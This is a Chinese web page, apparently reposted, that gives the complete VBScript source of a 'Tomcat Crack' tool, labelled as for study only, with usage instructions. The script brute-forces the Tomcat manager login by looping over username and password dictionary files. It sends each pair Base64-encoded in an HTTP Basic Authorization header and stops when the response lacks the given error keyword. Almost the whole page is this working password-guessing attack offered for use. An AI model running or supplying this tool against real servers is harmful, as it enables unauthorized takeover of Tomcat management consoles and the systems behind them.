注册
登录
| 关键词： nbsp objstream Dim wscript http function echo asContents Then End |
Tomcat后台暴力破解工具,仅供学习之用. 源代码如下: On Error Resume next Const sBASE_64_CHARACTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Dim url,user,pass,search set arg=wscript.arguments If (LCase(Right(Wscript.fullname,11))="Wscript.Exe") Then Wscript.Quit End If if arg.count=0 or arg.length<> 4 then Call useage() Wscript.Quit Else Call init() End If '-------------------------------使用说明------------------------------------------------------- Sub useage() wsh.echo string(79,"*") wsh.echo "" wsh.echo "Tomcat Crack v1.0" wsh.echo "Made by 孤水绕城 just for test !!!" wsh.echo "QQ:540410588 Blog: http://hi.baidu.com/540410588" wsh.echo "" wsh.echo "注：此工具作为暴力破解用户名密码之用，条件是没有认证码做验证" wsh.echo "Usage:" wsh.echo "cscript "&wscript.scriptname&" -l(接收用户名密码的url，需要tomcat完整路径) -s(返回错误信息关键字)" wsh.echo "示例如下：cscript "&wscript.scriptname&" -l http://localhost:8080/manager/html/ -s 401" wsh.echo string(79,"*")&vbcrlf End Sub '-------------------------------使用说明------------------------------------------------------- '-------------------------------读取参数------------------------------------------------------- Sub init() Dim s For s=0 To arg.length-1 If(arg(s)="-l") Then :url=arg(s+1) : End If If(arg(s)="-s") Then :search=arg(s+1) : End If Next If Trim(url)<>"" And Trim(search)<>"" Then Call main() Else Call useage() wscript.quit End If End Sub '------------------------------该部分用于读取user和pass字典并暴力破解---------------------------------- Sub main() Dim base Dim path,length,fullpath,scriptName,userStr,passStr,result,postStr fullpath=wscript.ScriptFullName:length=InStr(fullpath,scriptName):path=Mid(fullpath,1,length-1) Set fso=CreateObject("Scripting.FileSystemObject") If fso.fileExists(path&"user.txt") And fso.fileExists(path&"pass.txt") Then Set otfuser=fso.OpenTextFile(path&"user.txt") Do While otfuser.AtEndOfLine <> True userStr=otfuser.readLine() userStr=RegReplace(userStr,"[\s]+","") '去除多余空格 If(userStr<>"") Then Set otfpass=fso.OpenTextFile(path&"pass.txt") Do While otfpass.AtEndOfLine <> True passStr=otfpass.readLine() wsh.echo "Checking...... "&userStr&"------"&passStr postStr=Base64encode(userStr&":"&passStr) result=getHTTPPage(url,postStr) If(InStr(1,result,search,1)<1) Then wsh.echo "" wsh.echo "Good Job !!!"&vbcrlf&"You Have Found The Result"& vbcrlf&"username: "&userStr&" ------- password: "&passStr wscript.quit End If loop End If Loop wsh.echo "Sorry I can't Find The Result , Please Expand The Dic." Else MsgBox("请确定user.txt和pass.txt放在"&path&"文件夹中") wscript.quit End If Set otfuser=Nothing Set otfpass=Nothing Set fso=Nothing End Sub Function RegReplace(ByVal str1, ByVal patrn, ByVal replStr) Dim regEx Set regEx = New RegExp regEx.Pattern = patrn regEx.MultiLine = True regEx.IgnoreCase = True regEx.Global = True RegReplace = regEx.Replace(str1, replStr) set regEx = Nothing End Function '------------------------------该部分用于读取user和pass字典并暴力破解---------------------------------- '------------------------------该部分用于提交数据---------------------------------------- Function GetData(PostUrl,PostStr) dim Http set Http=createobject("MSXML2.serverXMLHTTP") Http.open "GET",url,False Http.SetRequestHeader "Content-Type","application/x-www-form-urlencoded" Http.setRequestHeader "Connection", "Keep-Alive" Http.setRequestHeader "Cache-Control", "no-cache" Http.SetRequestHeader "Authorization","Basic "&PostStr if Http.readystate<>4 then exit function end if End Function function getHTTPPage(url,postStr) dim Http 'set Http=createobject("MSXML2.XMLHTTP") '用这个组件报错 set Http=createobject("MSXML2.serverXMLHTTP") '这个组件才成 Http.open "GET",url,False Http.SetRequestHeader "Content-Type","application/x-www-form-urlencoded" Http.setRequestHeader "Connection", "Keep-Alive" Http.setRequestHeader "Cache-Control", "no-cache" Http.SetRequestHeader "Authorization","Basic "&postStr Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=BytesToBstr(Http.responseBody,"GB2312") set http=nothing if err.number<>0 then err.Clear end function Function BytesToBstr(Body, Cset) Dim objstream Set objstream = CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write Body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadTExt objstream.Close Set objstream = Nothing End Function '------------------------------该部分用于提交数据---------------------------------------- '------------------------------base64 加密 因为tomcat提交的用户名和密码做了base64加密处理---------------------------------------- Function Base64encode(ByVal asContents) Dim lnPosition Dim lsResult Dim Char1 Dim Char2 Dim Char3 Dim Char4 Dim Byte1 Dim Byte2 Dim Byte3 Dim SaveBits1 Dim SaveBits2 Dim lsGroupBinary Dim lsGroup64 If Len(asContents) Mod 3 > 0 Then asContents = asContents & String(3 - (Len(asContents) Mod 3), " ") lsResult = "" For lnPosition = 1 To Len(asContents) Step 3 lsGroup64 = "" lsGroupBinary = Mid(asContents, lnPosition, 3) Byte1 = Asc(Mid(lsGroupBinary, 1, 1)): SaveBits1 = Byte1 And 3 Byte2 = Asc(Mid(lsGroupBinary, 2, 1)): SaveBits2 = Byte2 And 15 Byte3 = Asc(Mid(lsGroupBinary, 3, 1)) Char1 = Mid(sBASE_64_CHARACTERS, ((Byte1 And 252) \ 4) + 1, 1) Char2 = Mid(sBASE_64_CHARACTERS, (((Byte2 And 240) \ 16) Or (SaveBits1 * 16) And &HFF) + 1, 1) Char3 = Mid(sBASE_64_CHARACTERS, (((Byte3 And 192) \ 64) Or (SaveBits2 * 4) And &HFF) + 1, 1) Char4 = Mid(sBASE_64_CHARACTERS, (Byte3 And 63) + 1, 1) lsGroup64 = Char1 & Char2 & Char3 & Char4 lsResult = lsResult + lsGroup64 Next Base64encode = lsResult End Function '------------------------------base64 加密 因为tomcat提交的用户名和密码做了base64加密处理---------------------------------------- wscript.quit |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
